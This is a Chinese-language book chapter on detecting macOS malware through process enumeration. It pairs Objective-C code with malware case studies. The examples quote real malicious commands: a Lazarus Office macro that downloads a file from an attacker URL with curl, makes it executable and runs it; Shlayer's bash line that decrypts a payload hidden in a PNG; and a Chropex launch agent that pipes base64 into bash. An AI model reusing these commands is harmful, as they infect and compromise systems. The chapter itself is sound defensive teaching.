Mac 恶意软件的艺术:检查进程

186 阅读47分钟

绝大多数Mac恶意软件以独立进程的形式持续运行在被感染的系统上。因此,如果你生成当前运行进程的列表,很有可能包含系统中存在的任何恶意软件。因此,当你尝试通过编程方式检测macOS恶意软件时,应首先检查运行中的进程。本章首先讨论各种枚举运行进程的方法,然后我们将编程提取每个运行进程的各种信息和元数据,以发现通常与恶意软件相关的异常。这些信息可能包括完整路径、启动参数、架构、进程层级、代码签名信息、加载的库、打开的文件等。

当然,恶意进程出现在进程列表中,并不意味着你可以立即判断该进程就是恶意的。随着恶意软件作者越来越多地伪装其恶意程序为良性进程,这一点尤为重要。

本章展示的大部分代码片段来自 enumerateProcesses 项目,你可以从本书的GitHub代码仓库下载该项目代码。该工具在无参数执行时,会显示系统中所有运行进程的信息;在指定进程ID执行时,会获取对应进程的信息。要查询某个进程,运行代码的权限级别必须与目标进程相同或更高,因此类似的安全工具通常以 root 权限运行。

进程枚举

在 macOS 上枚举所有进程最简单的方法是使用 libproc 提供的 API,比如 proc_listallpids。顾名思义,该 API 会返回一个包含所有运行进程进程 ID(pid)的列表。它的参数包括一个输出缓冲区和缓冲区的大小。函数会将所有运行进程的进程 ID 填充到缓冲区中,并返回当前运行进程的数量。

那你如何知道输出缓冲区应该有多大呢?一种策略是先用 NULL0 作为参数调用该 API,这样函数会返回当前运行的进程数,你可以据此为后续调用分配合适大小的缓冲区。但如果在这个过程中有新进程生成,API 可能无法返回它的进程 ID。

因此,更好的方式是分配一个足够大的缓冲区来容纳最大可能的运行进程数。现代 macOS 通常能承载几千个进程,但具体数量会根据系统配置有所不同。鉴于这种变化,你最好通过 sysctlbyname API 动态获取 kern.maxproc 系统变量中的最大进程数(代码示例见清单 1-1)。

#import <libproc.h>
#import <sys/sysctl.h>

int32_t processesCount = 0;
size_t length = sizeof(processesCount);

sysctlbyname("kern.maxproc", &processesCount, &length, NULL, 0);

清单 1-1:动态获取最大运行进程数

拿到最大进程数后,我们为进程 ID 数组分配缓冲区,大小为最大进程数乘以单个进程 ID 的大小。然后调用 proc_listallpids 函数(见清单 1-2)。

pid_t* pids = calloc((unsigned long)processesCount, sizeof(pid_t));
processesCount = proc_listallpids(pids, processesCount * sizeof(pid_t));

清单 1-2:生成运行进程的进程 ID 列表

此时你可以加上打印语句并运行这段代码,例如:

% ./enumerateProcesses
Found 450 running processes

PIDs: (
    53355,
    53354,
    53348,
    ...
    517,
    515,
    514,
    1,
    0
)

正如你在 enumerateProcesses 项目运行时所见,代码会返回包含所有运行进程 ID 的列表。

审计令牌(Audit Tokens)

虽然系统中用进程 ID 来标识进程,但进程 ID 会在进程退出后被重用,这可能导致竞态条件,即该进程 ID 不再指向原来的进程。解决该问题的方法是使用进程的审计令牌(audit token),它是唯一且永不复用的。

在后续章节中,你会看到 macOS 有时会直接提供审计令牌,例如当进程试图连接远程 XPC 端点,或在 Endpoint Security 的消息中。不过你也可以直接从任意进程获取其审计令牌。

获取审计令牌的代码在 enumerateProcesses 项目中的 getAuditToken 函数内。给定进程 ID,该函数返回对应的审计令牌(清单 1-3)。

NSData* getAuditToken(pid_t pid) {

    task_name_t task = {0};
    audit_token_t token = {0};
    mach_msg_type_number_t infoSize = TASK_AUDIT_TOKEN_COUNT;

  ❶ task_name_for_pid(mach_task_self(), pid, &task);
  ❷ task_info(task, TASK_AUDIT_TOKEN, (integer_t*)&token, &infoSize);

  ❸ return [NSData dataWithBytes:&token length:sizeof(audit_token_t)];
}

清单 1-3:获取进程的审计令牌

函数首先声明所需变量,包括一个 audit_token_t 类型变量用于存储审计令牌。接着调用 task_name_for_pid API 获取指定进程的 Mach 任务 ❶。接着利用这个任务调用 task_info,将该进程的审计令牌写入传入的变量中 ❷。最后,将审计令牌转换为更易处理的数据对象并返回 ❸。

当然,仅有进程 ID 或审计令牌列表并不能告诉你其中哪些是恶意进程。但现在你可以提取大量有价值的信息。下一节将从一个简单的内容开始:获取每个进程的完整路径。

路径与名称

通过进程 ID 查询进程的完整路径,有一个简单的方法是使用 proc_pidpath API。该 API 接受进程 ID、用于输出路径的缓冲区以及缓冲区大小作为参数。你可以使用常量 PROC_PIDPATHINFO_MAXSIZE 来确保缓冲区足够大以容纳路径,如清单 1-4 所示。

char path[PROC_PIDPATHINFO_MAXSIZE] = {0};
proc_pidpath(pid, path, PROC_PIDPATHINFO_MAXSIZE);

清单 1-4:获取进程路径

此外,还有其他方式可以获取进程路径,其中一些不需要进程 ID。我们将在第3章介绍另一种方法,因为它涉及代码签名的相关概念。

一旦获得了进程的路径,就可以基于路径执行多种检查,帮助判断进程是否恶意。这些检查既有简单的,比如查看路径中是否包含隐藏组件,也有复杂的,比如对路径指定的二进制文件做深入分析。本章关注隐藏路径组件,下一章将深入二进制分析。

识别隐藏文件和目录

路径信息可以直接暴露异常。例如,路径中若包含以点(.)开头的目录或文件组件,这些在用户界面和多数命令行工具默认情况下是隐藏的。(当然,可以通过 ls -a 等命令查看隐藏项。)对恶意软件来说,隐藏是有利的。然而这也成了强有力的检测启发式,因为良性进程很少隐藏自己。

Mac 恶意软件经常会在隐藏目录中执行,或者自身是隐藏的。例如,2022年初发现的网络间谍植入程序 DazzleSpy 持续安装为名为 .local 的隐藏目录下的二进制文件 softwareupdate。在进程列表中,这个目录非常显眼:

% ./enumerateProcesses
Found 450 running processes

(57312):/Applications/Signal.app/Contents/MacOS/Signal
(41461):/Applications/Safari.app/Contents/MacOS/Safari
(40214):/Users/User/.local/softwareupdate
(29853):/System/Applications/Messages.app/Contents/MacOS/Messages
(11242):/System/Library/CoreServices/Dock.app/Contents/MacOS/Dock
...
(304):/usr/libexec/UserEventAgent
(1):/sbin/launchd

当然,基于启发式的方法总会有误报,有时你也会碰到正常软件隐藏自己。例如,我的 Wacom 绘图板会创建一个隐藏目录 .Tablet,并持续从中运行各种程序。

获取已删除二进制文件的路径

在 macOS 上,进程可以删除其自身对应的磁盘二进制文件。恶意软件作者利用这一点,设计程序在运行后偷偷删除自身文件,躲避文件扫描,增加分析难度。像 KeRanger 和 NukeSped(臭名昭著的 3CX 供应链攻击中使用的恶意软件)就有这样的行为。

以 KeRanger 勒索软件为例,其目的是加密受害者文件并索要赎金。因为它在单次进程执行中完成这两个动作,启动后不需要保留二进制文件。反汇编它的主函数,你会发现它的第一步是调用 unlink API 删除自身:

int main(int argc, const char* argv[]) {
    ...
    unlink(argv[0]);

如果安全工具获取到了 KeRanger 进程的 ID(可能是因为勒索行为触发了检测),那么使用 proc_pidpathSecCodeCopyPath 等路径恢复 API 将失败。前者通常返回进程路径长度,但此时返回0并将 errno 设为 ENOENT,后者直接返回 kPOSIXErrorENOENT。这说明进程的二进制文件已被删除,本身就是一个警示信号,因为正常进程通常不会自删。

如果你仍想找回已删除二进制的路径,选择有限。一个方法是直接从进程参数中提取路径。我们稍后在第9页“进程参数”一节中会介绍。不过需要注意的是,进程启动后可以随时修改其参数(包括路径),因此提取到的路径可能已被偷偷篡改,不再指向已删除的二进制文件。

验证进程名称

恶意软件作者知道,其恶意程序会出现在 macOS 自带的活动监视器中,普通用户看到陌生进程名称就可能怀疑感染。因此,Mac 恶意软件常常伪装成核心系统组件或流行第三方软件。下面举两个例子说明。

2021年初发现的 ElectroRAT 是针对加密货币用户的远程访问工具(RAT),它伪装成 .mdworker。早期 macOS 中,Apple 的元数据服务器工作程序(mdworker)有多个合法实例运行。恶意软件用同名以混淆视听,至少让普通用户难以察觉。

幸运的是,借助代码签名(稍后本章和第3章将详细介绍),可以检查进程签名信息是否与其表面身份匹配。比如很容易发现 ElectroRAT 的 .mdworker 二进制文件可疑:它不是 Apple 签名的,说明不是 Cupertino 开发者出品。名字和知名 macOS 进程相同但非 Apple 签名,很可能是恶意软件。再加上文件名以点开头,进程文件本身被隐藏,更是一个危险信号。

另一个例子是 CoinMiner,一种偷偷挖矿的加密货币挖矿程序,利用 Invisible Internet Project(I2P)进行加密通信。其网络组件被命名为 com.adobe.acc.network,模仿 Adobe 软件(Adobe 软件以安装大量守护进程著称)。通过检查进程的代码签名信息,可以发现该二进制并非 Adobe 签名。

你可能会想知道如何确定一个进程的名称。对于非应用程序进程,比如命令行程序或系统守护进程,这个名称通常对应于文件名部分。如果完整路径被存储在字符串或 URL 对象中,你可以通过 lastPathComponent 实例属性获取这个文件名部分。例如,清单 1-5 的代码提取了 ElectroRAT 的进程名 .mdworker,并将其存储在变量 name 中。

NSString* path = @"/Users/User/.mdworker";
NSString* name = path.lastPathComponent;

清单 1-5:提取 ElectroRAT 的进程名称

如果进程是一个应用程序,你可以通过 runningApplicationWithProcessIdentifier: 方法实例化一个 NSRunningApplication 对象。该对象会提供包括应用程序包路径(存储在 bundleURL 实例属性中)等信息。应用程序包中包含大量信息,但此处最相关的是应用的名称。清单 1-6 来自 enumerateProcesses 项目的 getProcessName 函数,演示了如何针对给定进程 ID 获取应用名。

NSRunningApplication* application =
[NSRunningApplication runningApplicationWithProcessIdentifier:pid];
if(nil != application) {
    NSBundle* bundle = [NSBundle bundleWithURL:application.bundleURL];
    NSString* name = bundle.infoDictionary[@"CFBundleName"];
}

清单 1-6:提取应用程序名称

NSRunningApplication 对象创建一个 NSBundle 对象,再从包的 infoDictionary 实例属性中提取应用名称。如果进程不是应用程序,NSRunningApplication 的实例化会优雅地失败。

进程参数

提取并检查每个运行进程的参数,可以为了解该进程的行为提供宝贵线索,这些参数本身也可能显得十分可疑。臭名昭著的 Shlayer 恶意软件安装程序就是一个典型例子。它通过以下参数执行一个 bash shell:

tail -c +1381 "/Volumes/Install/Installer.app/Contents/Resources/main.png" |
openssl enc -aes-256-cbc -salt -md md5 -d -A -base64 -out /tmp/ZQEifWNV2l -pass
"pass:0.6effariGgninthgiL0.6" && chmod 777 /tmp/ZQEifWNV2l ... && rm -rf /tmp/ZQEifWNV2l

这些参数指示 bash 执行一系列 shell 命令:从伪装成图片的 main.png 文件中提取字节,解密成名为 ZQEifWNV2l 的二进制文件,随后执行并删除该二进制文件。虽然 bash 本身无害,但程序化地从 .png 文件中提取加密的可执行内容表明背后有可疑行为;通常安装程序不会进行如此隐晦且复杂的操作。由此,我们也能洞察到安装程序的实际活动。

另一个具有明显可疑参数的程序是 Chropex(又称 ChromeLoader)。该恶意软件安装了一个启动代理(launch agent),持续执行 Base64 编码的命令。CrowdStrike 的一份报告中展示了 Chropex 启动代理的示例,部分片段如下:

<key>ProgramArguments</key>
<array>
    <string>sh</string>
    <string>-c</string>
    <string>echo aWYgcHMg ... Zmk= | base64 --decode | bash</string>
</array>

最后一个参数字符串以 echo 开头,包含一个编码过的数据块及通过 bash 解码执行的命令。不言而喻,这样的参数极不寻常,明显是异常行为的信号(例如系统被持续感染恶意软件)。一旦检测程序发现此启动代理及其可疑参数,应该立即引起警惕。

正如前面提到的,提取程序的运行时参数,有助于深入理解其功能。例如,曾有一个偷偷挖矿的加密货币矿工应用,伪装成官方 Mac App Store 中无害的日历程序(见图 1-1)。

image.png

要看出这个应用不简单,可以检查它的进程参数。当 Calendar 2 应用(CalendarFree.app)被执行时,它会从其内嵌的 Coinstash_XMRSTAK 框架中启动一个名为 xmr-stak 的子程序,传入以下参数:

"--currency",
"monero",
"-o",
"pool.graft.hashvault.pro:7777",
"-u",
"G81Jc3KHStAWJjjBGzZKCvEnwCeRZrHkrUKj ... 6ophndAuBKuipjpFiizVVYzeAJ",
"-p",
"qbix:greg@qbix.com",
...

根据参数如 "--currency""monero",即使是非专业读者也能判断 xmr-stak 是个加密货币矿工。虽然 xmr-stak 本身是合法的命令行程序,但它被免费日历应用偷偷部署到 Apple Mac App Store 上,就已经越过了道德和法律底线。

注意
在我发布了关于此应用的详细博客后,苹果将该应用下架,并更新了 App Store 的条款,明确禁止设备端挖矿。

最后,如果你怀疑某进程可疑且需要进一步分析,提取其参数也会帮上忙。例如,2023年初,我发现了一个恶意更新程序,关联著名的 Genieo 恶意软件家族,且潜伏近五年未被察觉。该持久更新程序名为 iWebUpdate,只有在使用特定参数调用时(比如带有 updateC= 和客户端标识符等参数)才会执行核心逻辑。

这意味着如果你在调试器中分析 iWebUpdate 二进制文件,但未传入期望参数,它会直接退出。虽然通过逆向等静态分析能发现这些参数,但更简单的方式是从感染系统上持续运行的更新程序进程中直接提取参数。

那么,如何获取任意进程的参数呢?一种方式是调用带有 KERN_PROCARGS2sysctl API。enumerateProcesses 项目中名为 getArguments 的函数就是这样实现的。它接受一个进程 ID,提取并返回该进程参数。该函数较复杂,我分段讲解,先看调用 sysctl 的部分(清单 1-7):

int mib[3] = {0};
int systemMaxArgs = 0;

size_t size = sizeof(systemMaxArgs);

mib[0] = CTL_KERN;
mib[1] = KERN_ARGMAX;

❶ sysctl(mib, 2, &systemMaxArgs, &size, NULL, 0);

❷ char* arguments = malloc(systemMaxArgs);

清单 1-7:为进程参数分配缓冲区

该 API 需要一个输出缓冲区存放进程参数,因此我们先用 KERN_ARGMAX 调用一次,确定最大参数大小 ❶。这里用管理信息库(MIB)数组传递参数元素个数给 sysctl。然后分配对应大小的缓冲区 ❷。

缓冲区分配好后,再次调用 sysctl,这次初始化 MIB 数组为 KERN_PROCARGS2 和目标进程 ID(清单 1-8):

size = (size_t)systemMaxArgs;

mib[0] = CTL_KERN;
mib[1] = KERN_PROCARGS2;
mib[2] = processID;

sysctl(mib, 3, arguments, &size, NULL, 0);

清单 1-8:获取进程参数

调用结束后,缓冲区内包含进程参数及其他信息。表 1-1 描述了缓冲区结构:

内容说明
参数个数int argc
进程路径进程完整路径
参数列表char* argv[0] 等

首先提取参数个数(通常叫 argc),跳过进程路径即可到达参数开头(argv),除非你没能通过其他方式获得进程路径。每个参数以 NULL 结尾,提取相对简单。清单 1-9 演示如何将参数逐一保存为字符串对象数组。注意变量 arguments 是传给 sysctl 并填充的缓冲区。

int numberOfArgs = 0;
NSMutableArray* extractedArguments = [NSMutableArray array];

❶ memcpy(&numberOfArgs, arguments, sizeof(numberOfArgs));parser = arguments + sizeof(numberOfArgs);

❸ while(NULL != *++parser);
❹ while(NULL == *++parser);

while(extractedArguments.count < numberOfArgs) {
  ❺ [extractedArguments addObject:[NSString stringWithUTF8String:parser]];
  parser += strlen(parser) + 1;
}

清单 1-9:解析进程参数

代码先提取参数数目 ❶,再跳过此数值 ❷,路径字节 ❸,和结尾的 NULL 字节 ❹。此时 parser 指向参数起始,循环依次提取参数 ❺。值得注意的是,argv[0] 始终是程序路径,除非进程偷偷修改了自身。

如果运行 enumerateProcesses 项目,遇到上述的 xmr-stak 进程(假设进程 ID 为 14026),会显示类似信息:

% ./enumerateProcesses
...
(14026):/Applications/CalendarFree.app/Contents/Frameworks/
Coinstash_XMRSTAK.framework/Resources/xmr-stak
...
arguments: (
"/Applications/CalendarFree.app/Contents/Frameworks/Coinstash_XMRSTAK.framework/Resources/xmr-stak",
"--currency",
"monero",
"-o",
"pool.graft.hashvault.pro:3333",
"-u",
"G81Jc3KHStAWJjjBGzZKCvEnwCeRZrHkrUKji9NSDLtJ6Evhhj43DYP7dMrYczz5KYjfw6ophndAuBKuipjpFiizVVYzeAJ",
"-p",
"qbix:greg@qbix.com",
...
)

带有如此多参数的进程非常罕见,且参数明显指向加密货币矿工。结合其父进程 CalendarFree.app 大量消耗 CPU,这一结论更为确凿,本章后续会进一步说明。

进程层级关系

进程层级关系指的是进程之间的关系,比如父进程与子进程之间的关系。在检测恶意软件时,你需要准确掌握这些关系,原因有几个。首先,进程层级关系有助于发现初始感染的入口。其次,它还能揭示那些利用系统二进制文件进行恶意操作、难以察觉的高级恶意软件。

我们来看一个例子。2019年,Lazarus 高级持续威胁(APT)组织被观察到利用含宏的 Office 文档攻击 macOS 用户。如果用户打开文档并允许宏运行,代码会下载并执行一种名为 Yort 的恶意软件。以下是攻击中使用的宏代码片段:

sur = "https://nzssdm.com/assets/mt.dat"
spath = "/tmp/": i = 0

Do
    spath = spath & Chr(Int(Rnd * 26) + 97)
    i = i + 1
Loop Until i > 12
spath = spath

❶ res = system("curl -o " & spath & " " & sur)
❷ res = system("chmod +x " & spath)
❸ res = popen(spath, "r")

这段宏代码没有经过混淆,理解起来很简单。它首先通过 curl 从 https://nzssdm.com/assets/mt.dat 下载文件到 /tmp 目录 ❶,然后赋予该文件可执行权限 ❷,最后执行下载的文件 mt.dat ❸。图 1-2 从进程层级关系的角度展示了这次攻击。

image.png

虽然这张图略显简化(省略了 fork 操作,并且用符号表示进程 ID),但它准确地反映了 curl、chmod 和恶意软件都作为 Microsoft Word 的子进程出现的事实。Word 文档通常会启动 curl 来下载和执行二进制文件吗?当然不会!即使你无法确定这些子进程具体在做什么,Office 文档启动它们这一事实本身就是攻击的明显迹象。此外,如果没有进程层级结构,要检测这一感染行为会相对困难,因为 curl 和 chmod 是合法的系统二进制文件。

查找父进程

进程层级关系是从子进程向上构建的,依次是父进程、祖父进程,依此类推。表面上,我们可以很容易通过 kinfo_proc 结构中的 kp_eproc 结构体的 e_ppid 成员生成给定进程的层级关系。这些结构定义位于 sys/sysctl.h,部分如下:

struct kinfo_proc {
    struct  extern_proc kp_proc;    /* proc 结构体 */
    struct  eproc {
        struct  proc* e_paddr;      /* proc 地址 */
        ...
        pid_t   e_ppid;             /* 父进程 ID */
        ...
    } kp_eproc;
};

e_ppid 就是父进程 ID,我们可以通过 sysctl API 提取它,如 enumerateProcesses 项目中的 getParent 函数所示(清单 1-10):

pid_t parent = -1;

struct kinfo_proc processStruct = {0};
size_t procBufferSize = sizeof(processStruct);

int mib[4] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, processID};

sysctl(mib, 4, &processStruct, &procBufferSize, NULL, 0);
parent = processStruct.kp_eproc.e_ppid;

清单 1-10:提取父进程 ID

代码先初始化参数,包括一个数组,指示系统返回指定进程的信息。sysctl API 会完成请求,返回填充好的 kinfo_proc 结构体。随后我们从中提取父进程 ID。

下面是 enumerateProcesses 发现恶意文档启动的 curl 进程时的输出示例:

% ./enumerateProcesses
...
(2286):/usr/bin/curl
...
parent: /Applications/Microsoft Word.app/Contents/MacOS/Microsoft Word (2283)

代码轻松识别出父进程是 Microsoft Word。

遗憾的是,基于该 e_ppid 值构建的进程层级通常不太有用,因为它往往报告父进程 ID 是 1,即 launchd 进程,后者负责启动系统中的所有进程。你可以通过 Spotlight、Finder 或 Dock 启动一个应用(如计算器),然后用 ps 工具带 ppid 参数查询其父进程 ID,观察此行为。示例:

% ps aux
USER     PID  ... COMMAND
Patrick  2726 ... /System/Applications/Calculator.app/Contents/MacOS/Calculator
% ps aux -o ppid 2726
USER      PID     ...    PPID
Patrick   2726    ...    1

enumerateProcesses 工具也会报告同样的无用信息:

% ./enumerateProcesses
...
(2726):/System/Applications/Calculator.app/Contents/MacOS/Calculator
...
parent: (1) launchd

虽然从技术上讲,launchd 是父进程,但它无法提供我们检测恶意活动所需的信息。我们更关心的是实际启动该子进程的那个进程。

返回负责启动某个进程的父进程

要返回负责启动另一个进程的那个进程,我们可以利用苹果的私有 API——responsibility_get_pid_responsible_for_pid。该函数接受一个进程 ID,返回它认定负责该子进程的父进程 ID。虽然该私有 API 的内部实现细节超出本讨论范围,但它本质上查询内核,内核在内部进程结构中维护了负责的父进程记录。

由于这不是公开 API,我们需要用 dlsym API 动态解析它。下面清单 1-11 来自 enumerateProcesses 项目的 getResponsibleParent 函数,实现了这一功能。

#import <dlfcn.h>

pid_t getResponsibleParent(pid_t child) {
    pid_t (*getRPID)(pid_t pid) =
    dlsym(RTLD_NEXT, "responsibility_get_pid_responsible_for_pid");
    ...
}

清单 1-11:动态解析私有函数

代码通过函数名解析该函数,将结果存入函数指针 getRPID。因为该函数接受一个 pid_t 类型的参数并返回一个 pid_t,所以声明为 pid_t (*getRPID)(pid_t pid)

确认函数解析成功后,就可以通过函数指针调用它,如清单 1-12 所示:

if(NULL != getRPID) {
    pid_t parent = getRPID(child);
}

清单 1-12:调用解析后的函数

现在,当 enumerateProcesses 遇到子进程时(比如 Safari 的 XPC Web Content 渲染进程,显示为 Safari Web Content 或 com.apple.WebKit.WebContent),它会同时查询该进程的父进程和“负责父进程”:

% ./enumerateProcesses
...
(10540)/System/Library/Frameworks/WebKit.framework/Versions/A/
XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/
com.apple.WebKit.WebContent
...
parent: (1) launchd
responsible parent: (8943) Safari

其中,父进程通过进程的 e_ppid 获取,“负责父进程”通过调用 responsibility_get_pid_responsible_for_pid API 获得。在这个例子中,“负责父进程”提供了更多上下文信息,更有助于准确构建进程层级。

遗憾的是,对于用户启动的应用程序(可能包含恶意软件),这个“负责父进程”可能就是进程本身。验证方法是,通过 Finder 双击启动计算器应用,然后再次运行 enumerateProcesses:

% ./enumerateProcesses
...
(2726):/System/Applications/Calculator.app/Contents/MacOS/Calculator
...
parent: (1) launchd
responsible parent: (2726) Calculator

这时工具把“负责父进程”识别为计算器进程自身,信息价值有限。不过,好在还有一个地方可以查找该信息,只是需要追溯历史。

使用 Application Services API 获取信息

尽管苹果官方已将其弃用,但 Application Services API 仍能在最新 macOS 版本上正常工作,并且一些苹果守护进程仍在使用它们。ProcessInformationCopyDictionary 是一个 Application Services API,返回一个字典,其中包含大量信息,包括进程的真实父进程。

该 API 不是通过进程 ID 作为参数,而是使用进程序列号(psn)。进程序列号是进程 ID 的前身,类型为 ProcessSerialNumber,定义在 include/MacTypes.h 中。要从进程 ID 获取进程序列号,可以使用 GetProcessForPID 函数,示例如下(清单 1-13):

#import <AppKit/AppKit.h>
pid_t pid = <某个进程ID>;

ProcessSerialNumber psn = {kNoProcess, kNoProcess};
GetProcessForPID(pid, &psn);

printf("Process Serial Number (high, low): %d %d\n", psn.highLongOfPSN, psn.lowLongOfPSN);

清单 1-13:获取进程序列号

该函数接受一个进程 ID 和一个指向 ProcessSerialNumber 的输出指针,并将对应进程的序列号写入该指针。

在 enumerateProcesses 项目中,getASParent 函数使用这一逻辑,通过进程序列号获取父进程 ID。清单 1-14 展示了其调用 ProcessInformationCopyDictionary 函数获取指定进程信息的片段:

NSDictionary* processInfo = nil;
ProcessSerialNumber psn = {kNoProcess, kNoProcess};

GetProcessForPID(pid, &psn);

processInfo = CFBridgingRelease(ProcessInformationCopyDictionary(&psn,
(UInt32)kProcessDictionaryIncludeAllInformationMask));

清单 1-14:获取进程信息字典

需要注意的是,返回 CoreFoundation 对象的旧 API 不支持自动引用计数(ARC),所以需要手动管理内存。这里采用了 CFBridgingRelease 方式,将返回的 CoreFoundation 字典转换为 NSDictionary 并纳入 ARC 管理,避免了显式释放的麻烦。

CFDictionaryRef 字典桥接为 NSDictionary 后,就可以直接访问键值对,包括进程的父进程。父进程序列号存储在 ParentPSN 键下,类型为 kCFNumberLongLong(long long),因此需要手动重构进程序列号(清单 1-15):

ProcessSerialNumber ppsn = {kNoProcess, kNoProcess};

ppsn.lowLongOfPSN = [processInfo[@"ParentPSN"] longLongValue] & 0x00000000FFFFFFFFLL;
ppsn.highLongOfPSN = ([processInfo[@"ParentPSN"] longLongValue] >> 32) & 0x00000000FFFFFFFFLL;

清单 1-15:重构父进程序列号

得到父进程序列号后,可以再次调用 ProcessInformationCopyDictionary API(传入父进程序列号)获取父进程的详细信息,包括进程 ID、路径、名称等。这里最感兴趣的是 pid 这个键,它表示进程 ID。

需要注意的是,对于系统进程或后台进程,获取进程序列号可能失败。生产环境代码应对此做好防护,比如检查 GetProcessForPID 的返回值,或者检测 ParentPSN 键是否不存在或为零。此外,不应从后台进程(如守护进程或系统扩展)调用 Application Services API。

回想我们启动计算器时,之前的方法没能准确找到它的真实父进程(返回的是 launchd 或自身)。Application Services API 的方法表现如何?以下是通过 Finder 启动计算器时的输出:

% ./enumerateProcesses
...
(2726):/System/Applications/Calculator.app/Contents/MacOS/Calculator
...
parent: (1) launchd
responsible parent: (2726) Calculator
application services parent: (21264) Finder

成功了!代码准确识别出 Finder 是启动计算器应用的进程。同理,如果通过 Dock 或 Spotlight 启动计算器,代码也能识别出对应启动进程。

你可能会问,为什么要介绍这么多方法来确定最有用的父进程?这是因为没有哪种方法万无一失,往往需要结合使用。首先,Application Services API 通常给出最相关的结果。但 GetProcessForPID 可能对某些进程调用失败,这时可以退回到 responsibility_get_pid_responsible_for_pid。不过它有时会返回进程自身,没什么帮助。这种情况下,再退回到传统的 e_ppid。虽然 e_ppid 常报告父进程为 launchd,但在很多场景下仍有效。例如前面提到的 Lazarus 攻击,它就正确识别出 Word 是 curl 的父进程。

使用 Application Services API 获取环境信息

现在你已经知道如何生成真实的进程树,接下来看看如何收集进程的环境信息。你可能知道一种方法:使用 launchctl 工具,它有一个 procinfo 命令行选项,可以返回进程的参数、代码签名信息、运行时环境等。虽然我们之前讨论过其他收集部分信息的方法,但 launchctl 提供了额外的信息来源,其中包含其他方法无法获得的数据。

遗憾的是,launchctl 不是开源的,其内部实现也未公开文档。在本节中,我们将对 procinfo 选项进行逆向工程,并在自己的工具中重新实现其逻辑,以便获取任何进程的信息。本章的 procInfo 项目包含该开源实现。

注释
本节代码灵感来源于 Jonathan Levin 的研究,我针对新版 macOS 对其方法进行了更新。

在介绍 procInfo 项目的代码之前,先总结一下思路:
我们需要调用 launchd 的引导管道(bootstrap pipe),通过私有函数 xpc_pipe_interface_routine 来实现。调用该函数时,传入 ROUTINE_DUMP_PROCESS (0x2c4),以及包含目标进程 ID 和共享内存输出缓冲区的 XPC 字典,便能返回所需的进程信息。

首先声明一些调用 XPC 查询所需的变量(清单 1-16):

xpc_object_t procInfoRequest = NULL;
xpc_object_t sharedMemory = NULL;
xpc_object_t __autoreleasing response = NULL;

int result = 0;
int64_t xpcError = 0;
void* handle = NULL;
uint64_t bytesWritten = 0;
vm_address_t processInfoBuffer = 0;

static int (*xpc_pipe_interface_routine_FP)
❶ (xpc_pipe_t, int, xpc_object_t, xpc_object_t*, int) = NULL;

❷ struct xpc_global_data* globalData = NULL;
❸ size_t processInfoLength = 0x100000;

清单 1-16:声明所需变量

这些变量包括函数指针(用于存储私有函数 xpc_pipe_interface_routine 地址)❶,全局 XPC 数据结构指针 ❷,以及从逆向 launchctl 得到的缓冲区长度 ❸。

接着调用 xpc_shmem_create 创建共享内存对象,XPC 调用将填充该缓冲区包含目标进程信息(清单 1-17):

vm_allocate(mach_task_self(), &processInfoBuffer,
processInfoLength, VM_FLAGS_ANYWHERE|VM_FLAGS_PURGABLE);

sharedMemory = xpc_shmem_create((void*)processInfoBuffer, processInfoLength);

清单 1-17:创建共享内存对象

然后创建并初始化一个 XPC 字典,必须包含目标进程 ID 和刚创建的共享内存对象(清单 1-18):

pid_t pid = <某个进程ID>;
procInfoRequest = xpc_dictionary_create(NULL, NULL, 0);

xpc_dictionary_set_int64(procInfoRequest, "pid", pid);
xpc_dictionary_set_value(procInfoRequest, "shmem", sharedMemory);

清单 1-18:初始化 XPC 请求字典

接下来,从 os_alloc_once_table 数组中获取类型为 xpc_global_data* 的全局数据对象(清单 1-19):

struct xpc_global_data
{
    uint64_t a;
    uint64_t xpc_flags;
    mach_port_t task_bootstrap_port;
    xpc_object_t xpc_bootstrap_pipe;
};

struct _os_alloc_once_s
{
    long once;
    void* ptr;
};

extern struct _os_alloc_once_s _os_alloc_once_table[];

globalData = (struct xpc_global_data*)_os_alloc_once_table[1].ptr;

清单 1-19:提取全局数据

该对象包含调用 xpc_pipe_interface_routine 所需的 XPC 管道(xpc_bootstrap_pipe)。由于该函数是私有的,我们必须通过动态链接方式从 libxpc 库加载它(清单 1-20):

#import <dlfcn.h>
...
handle = dlopen("/usr/lib/system/libxpc.dylib", RTLD_LAZY);
xpc_pipe_interface_routine_FP = dlsym(handle, "_xpc_pipe_interface_routine");

清单 1-20:解析函数指针

最后,我们准备调用 XPC 请求。使用 xpc_pipe_interface_routine 函数,传入 XPC 引导管道、例程(如 ROUTINE_DUMP_PROCESS)和包含进程 ID 及共享内存缓冲区的请求字典(清单 1-21):

#define ROUTINE_DUMP_PROCESS 0x2c4

result = xpc_pipe_interface_routine_FP((__bridge xpc_pipe_t)(globalData->xpc_bootstrap_pipe),
ROUTINE_DUMP_PROCESS, procInfoRequest, &response, 0x0);

清单 1-21:通过 XPC 请求进程信息

若请求成功(result 为 0,且返回字典 response 中无 error 键),则返回字典包含键 bytes-written,对应写入共享内存缓冲区的字节数。我们提取此值(清单 1-22):

bytesWritten = xpc_dictionary_get_uint64(response, "bytes-written");

清单 1-22:提取响应数据大小

然后可直接访问缓冲区内容,比如创建一个字符串对象包含目标进程的全部信息(清单 1-23):

NSString* processInfo = [[NSString alloc] initWithBytes:(const void*)
processInfoBuffer length:bytesWritten encoding:NSUTF8StringEncoding];

printf("process info (pid: %d): %s\n",
atoi(argv[1]), processInfo.description.UTF8String);

清单 1-23:将进程信息转换为字符串对象

虽然转换成了字符串,但信息是一团糟,需要手动解析。相关解析过程未在此介绍,可参考 procInfo 项目,它将数据提取成键值对字典。


launchd 返回的信息包含大量有用细节!举例来说,针对 DazzleSpy 的持久组件(安装于 ~/.local/softwareupdate,进程 ID 为 16776),运行 procInfo 获得:

% ./procInfo 16776
process info (pid: 16776): {
    active count = 1
    path = /Users/User/Library/LaunchAgents/com.apple.softwareupdate.plist
    state = running

    program = /Users/User/.local/softwareupdate
    arguments = {
        /Users/User/.local/softwareupdate
        1
    }

    inherited environment = {
        SSH_AUTH_SOCK =>
        /private/tmp/com.apple.launchd.kEoOvPmtt1/Listeners
    }

    default environment = {
        PATH => /usr/bin:/bin:/usr/sbin:/sbin
    }
    environment = {
        XPC_SERVICE_NAME => com.apple.softwareupdate
    }

    domain = gui/501 [100005]
    ...
    runs = 1
    pid = 16776
    immediate reason = speculative
    forks = 0
    execs = 1

    spawn type = daemon (3)

    properties = partial import | keepalive | runatload |
    inferred program | system service | exponential throttling
}

